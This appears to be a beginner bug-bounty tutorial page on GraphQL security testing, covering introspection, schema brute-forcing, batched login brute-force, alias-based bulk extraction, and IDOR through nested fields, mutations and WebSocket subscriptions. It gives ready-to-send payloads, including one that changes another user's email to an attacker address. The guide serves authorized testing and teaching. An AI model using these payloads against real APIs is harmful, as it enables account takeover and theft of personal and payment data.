Skip to content

GraphQL Testing Guide

3 min readBug Hunting for Beginners

REST splits features across many URLs (/api/users, /api/orders). GraphQL routes every query and mutation through one endpoint, usually /graphql or /api/v1/query. Authorization must therefore be built per resolver (the function that fetches a field) or per field, not at the router. That is why access control gaps are common in GraphQL APIs.

This chapter is the beginner path. The IDOR guide owns the advanced GraphQL material, and the Broken Access Control guide owns function-level GraphQL bugs.

flowchart TD
  subgraph REST API Routing
    Client1[Client Browser] --> Router[API Gateway / Router]
    Router -->|Check Session/Auth| Endpoint1[GET /api/user]
    Router -->|Check Session/Auth| Endpoint2[GET /api/order]
    
    style Router fill:#99ff99,stroke:#333,stroke-width:1px,color:#000
    style Endpoint1 fill:#b3d9ff,stroke:#333,stroke-width:1px,color:#000
    style Endpoint2 fill:#b3d9ff,stroke:#333,stroke-width:1px,color:#000
  end

  subgraph GraphQL API Routing
    Client2[Client Browser] --> Gateway[Single Gateway: /graphql]
    Gateway --> Engine[GraphQL Engine / Schema Parser]
    Engine --> R1["user(id) Resolver (Auth Checked)"]
    Engine --> R2["order(id) Resolver (No Auth Checked!)"]
    
    style Gateway fill:#b3d9ff,stroke:#333,stroke-width:1px,color:#000
    style Engine fill:#b3d9ff,stroke:#333,stroke-width:1px,color:#000
    style R1 fill:#99ff99,stroke:#333,stroke-width:1px,color:#000
    style R2 fill:#ff9999,stroke:#333,stroke-width:1px,color:#000
  end

Introspection is a feature that allows clients to ask the GraphQL engine for its entire database schema, queries, mutations, and fields.

Send this query to the GraphQL endpoint in your proxy:

query {
__schema {
types {
name
}
}
}

If the server returns a large JSON block listing all types, introspection is enabled. You can load the response into a tool like GraphQL Voyager to visualize the database relationships and find hidden admin queries.

If Introspection Is Disabled (Schema Brute-Forcing)

Section titled “If Introspection Is Disabled (Schema Brute-Forcing)”

If the server returns a validation error like GraphQL introspection is not allowed, you can reconstruct the schema using field suggestion brute-forcing.

When you send a misspelled field, many GraphQL engines suggest the real field name in the error:

// Query
query { me { emailAddress } }
// Error Response
"Cannot query field \"emailAddress\" on type \"User\". Did you mean \"email\"?"

Use tools to automate this discovery process:

  • Clairvoyance: Uses wordlists to guess fields and parses suggestions to reconstruct the schema.
    Terminal window
    pip install clairvoyance
    clairvoyance -o schema.json -w wordlist.txt https://target.com/graphql
  • InQL (Burp Extension): Automates schema parsing and generates clean templates for every query and mutation.

GraphQL permits requesting multiple resources in a single HTTP request, which can bypass standard API gateway rate limiters.

Many servers accept a JSON array of queries. If the application restricts you to 10 login attempts per minute, you can send 1,000 attempts in a single HTTP request:

[
{"query": "mutation { login(username: \"admin\", password: \"pass1\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"pass2\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"pass3\") { token } }"}
]

An alias allows you to execute the same query multiple times in a single query object by naming them differently:

query {
first_user: user(id: "3001") { email }
second_user: user(id: "3002") { email }
third_user: user(id: "3003") { email }
}

If the server checks authorization on the HTTP route or the request headers, it might fail to check each alias, resulting in bulk data extraction.


Developers often enforce object-level authorization (e.g. checking if Alice is allowed to fetch her own User object) but forget to check authorization on nested, sensitive fields.

Map the fields on the User object. Even if the UI only requests username and avatar, try querying fields that should be admin-only:

query {
user(id: "3001") {
username
email
passwordHash
isAdmin
billingDetails {
creditCardNumber
}
}
}

If the response returns the hashed password or payment details of other users, you have a high-impact IDOR.


Mutations are equivalent to REST POST/PUT/PATCH/DELETE operations. They are used to update, create, or delete records.

Look for ID parameters inside mutation arguments:

mutation {
updateUserProfile(id: "3002", input: { email: "attacker@attacker.com" }) {
id
email
}
}

Test protocol: Log in as Alice. Execute this mutation targeting Bob’s ID (3002). If the mutation succeeds and updates Bob’s email address, write the report immediately.

Subscriptions allow clients to listen to real-time events via WebSockets. The frame is where the bug hides, and the WebSocket guide covers it in full: message-level IDOR, handshake auth, CSWSH (cross-site WebSocket hijacking), and the token that outlives logout.

  1. Intercept the WebSocket handshake request in your proxy.
  2. Observe the connection request:
    {"type":"connection_init","payload":{"Authorization":"Bearer ALICES_TOKEN"}}
  3. Once connected, send the subscription payload requesting updates on Bob’s UUID:
    {
    "id": "1",
    "type": "start",
    "payload": {
    "query": "subscription { orderStatusUpdated(orderId: \"BOBS_ORDER_UUID\") { status location } }"
    }
    }
  4. If you receive real-time notifications about Bob’s orders, you have verified a WebSocket IDOR.

Next step: go deeper on GraphQL authorization with the IDOR guide’s GraphQL section, and cover subscriptions with the WebSocket guide. Then return to Section 8.

Connections5 backlinks · 4 outgoing · 4 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Bug Hunting for BeginnersFor authorized testing only. Read the ethics note before you put a domain in scope.